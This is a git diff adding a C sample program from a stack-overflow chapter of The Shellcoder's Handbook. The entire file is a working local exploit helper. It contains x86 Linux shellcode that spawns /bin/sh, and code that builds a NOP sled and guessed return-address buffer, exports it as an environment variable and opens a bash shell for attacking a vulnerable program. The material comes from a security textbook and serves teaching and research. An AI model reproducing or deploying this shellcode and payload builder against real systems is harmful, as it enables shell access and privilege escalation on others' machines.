|
| 1 | +/* |
| 2 | +
|
| 3 | +The Shellcoder's Handbook: Discovering and Exploiting Security Holes |
| 4 | +Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, |
| 5 | +Sinan Eren, Neel Mehta, Riley Hassell |
| 6 | +Publisher: John Wiley & Sons |
| 7 | +ISBN: 0764544683 |
| 8 | +
|
| 9 | +Chapter 2: Stack Overflows |
| 10 | +Sample Program #7 |
| 11 | +
|
| 12 | +Please send comments/feedback to [email protected] or visit http://www.infosecinstitute.com |
| 13 | +
|
| 14 | +*/ |
| 15 | + |
| 16 | +#include <stdlib.h> |
| 17 | + |
| 18 | + #define DEFAULT_OFFSET 0 |
| 19 | + #define DEFAULT_BUFFER_SIZE 512 |
| 20 | + #define NOP 0x90 |
| 21 | + |
| 22 | + char shellcode[] = |
| 23 | + |
| 24 | + "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46" |
| 25 | + "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1" |
| 26 | + "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; |
| 27 | + |
| 28 | + |
| 29 | +unsigned long get_sp(void) { |
| 30 | + __asm__("movl %esp,%eax"); |
| 31 | +} |
| 32 | + |
| 33 | +void main(int argc, char *argv[]) |
| 34 | +{ |
| 35 | + char *buff, *ptr; |
| 36 | + long *addr_ptr, addr; |
| 37 | + int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; |
| 38 | + int i; |
| 39 | + |
| 40 | + if (argc > 1) bsize = atoi(argv[1]); |
| 41 | + if (argc > 2) offset = atoi(argv[2]); |
| 42 | + |
| 43 | + if (!(buff = malloc(bsize))) { |
| 44 | + printf("Can't allocate memory.\n"); |
| 45 | + exit(0); |
| 46 | + } |
| 47 | + |
| 48 | + addr = get_sp() - offset; |
| 49 | + printf("Using address: 0x%x\n", addr); |
| 50 | + |
| 51 | + ptr = buff; |
| 52 | + addr_ptr = (long *) ptr; |
| 53 | + for (i = 0; i < bsize; i+=4) |
| 54 | + *(addr_ptr++) = addr; |
| 55 | + |
| 56 | + for (i = 0; i < bsize/2; i++) |
| 57 | + buff[i] = NOP; |
| 58 | + |
| 59 | + ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); |
| 60 | + for (i = 0; i < strlen(shellcode); i++) |
| 61 | + *(ptr++) = shellcode[i]; |
| 62 | + |
| 63 | + buff[bsize - 1] = '\0'; |
| 64 | + |
| 65 | + memcpy(buff,"BUF=",4); |
| 66 | + putenv(buff); |
| 67 | + system("/bin/bash"); |
| 68 | +} |
| 69 | + |
| 70 | + |
0 commit comments